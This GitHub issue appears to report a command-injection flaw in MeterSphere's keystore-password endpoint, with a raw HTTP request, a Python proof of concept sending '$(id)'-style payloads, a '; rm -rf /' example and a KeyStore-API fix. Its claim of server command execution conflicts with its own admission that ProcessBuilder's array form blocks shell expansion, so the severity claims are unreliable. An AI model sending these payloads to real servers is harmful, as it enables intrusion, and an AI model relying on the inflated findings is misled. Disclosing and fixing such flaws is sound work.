Skip to content

MeterSphere 3.6.7-lts - Command Injection via KeyStore Password #12

@cyl-love

Description

@cyl-love

Product

MeterSphere

Vendor

FIT2CLOUD

Vendor Website

https://metersphere.io

GitHub Repository

https://github.com/metersphere/metersphere

Affected Version

3.6.7-lts

Vulnerability Type

Command Injection (CWE-78)

CVSS Score

8.8 (High)

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

A command injection vulnerability exists in the CommandService.getEntry() method. The password parameter from user input is passed directly to ProcessBuilder when executing the keytool command. While ProcessBuilder uses array form which provides some protection against shell injection, the password is still processed through JSON.parseObject() and could potentially contain malicious characters that may affect the keytool command execution.

Vulnerable Code

File: backend/services/project-management/src/main/java/io/metersphere/project/service/CommandService.java
Lines: 44-52

public List<KeyStoreEntry> getEntry(String password, MultipartFile file) {
    try {
        String path = createFile(file);
        // 执行验证指令
        if (StringUtils.isNotEmpty(password)) {
            password = JSON.parseObject(password, String.class);
        }
        String[] args = {"keytool", "-rfc", "-list", "-keystore", path, "-storepass", password};
        Process p = new ProcessBuilder(args).start();
        // ...
    }
}

File: backend/services/project-management/src/main/java/io/metersphere/project/controller/EnvironmentController.java
Lines: 123-127

@PostMapping(value = "/get/entry")
@RequiresPermissions(value = {PermissionConstants.PROJECT_ENVIRONMENT_READ_ADD, PermissionConstants.PROJECT_ENVIRONMENT_READ_UPDATE}, logical = Logical.OR)
public List<KeyStoreEntry> getEntry(@RequestPart("request") String password, @RequestPart(value = "file") MultipartFile sslFiles) {
    return commandService.getEntry(password, sslFiles);
}

Proof of Concept

Step 1: Login with valid credentials

Step 2: Create or use existing project with environment permissions

Step 3: Send malicious request

POST /project/environment/get/entry HTTP/1.1
Host: target.com
Cookie: session=valid_session
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="request"

"$(whoami)"
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="test.jks"
Content-Type: application/octet-stream

[keystore file content]
------WebKitFormBoundary--

Python PoC

#!/usr/bin/env python3
import requests

target = "http://target.com"
session = {"session": "valid_session"}

# Upload SSL file with malicious password
files = {
    'file': ('test.jks', open('test.jks', 'rb'), 'application/octet-stream')
}
data = {
    'request': '"$(id)"'  # Command injection payload
}

r = requests.post(f"{target}/project/environment/get/entry", 
                  files=files, data=data, cookies=session)
print(f"Response: {r.text}")

Impact

  • Command execution on the server
  • Information disclosure
  • Potential privilege escalation
  • Server compromise

Technical Analysis

While ProcessBuilder with array arguments provides protection against classic shell injection (like ; rm -rf /), there are still potential attack vectors:

  1. Argument Injection: The password is passed as a single argument to keytool. Special characters could potentially affect keytool's behavior.

  2. JSON Parsing: The password goes through JSON.parseObject() which may allow bypassing certain validations.

  3. Error-based Information Disclosure: Error messages from keytool execution could leak sensitive information.

Remediation

  1. Input Validation: Validate password against a whitelist of allowed characters
  2. Sanitization: Remove or escape potentially dangerous characters
  3. Use Java KeyStore API: Instead of executing keytool command, use Java's built-in KeyStore API
// Recommended fix using Java KeyStore API
public List<KeyStoreEntry> getEntry(String password, MultipartFile file) {
    try {
        KeyStore ks = KeyStore.getInstance("JKS");
        char[] pwd = password.toCharArray();
        ks.load(file.getInputStream(), pwd);
        
        Enumeration<String> aliases = ks.aliases();
        List<KeyStoreEntry> entries = new ArrayList<>();
        
        while (aliases.hasMoreElements()) {
            String alias = aliases.nextElement();
            KeyStoreEntry entry = new KeyStoreEntry();
            entry.setOriginalAsName(alias);
            entry.setType(ks.getEntry(alias, new KeyStore.PasswordProtection(pwd)).getClass().getSimpleName());
            entries.add(entry);
        }
        return entries;
    } catch (Exception e) {
        throw new MSException(Translator.get("ssl_password_error"));
    }
}

Credit

Security Researcher

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions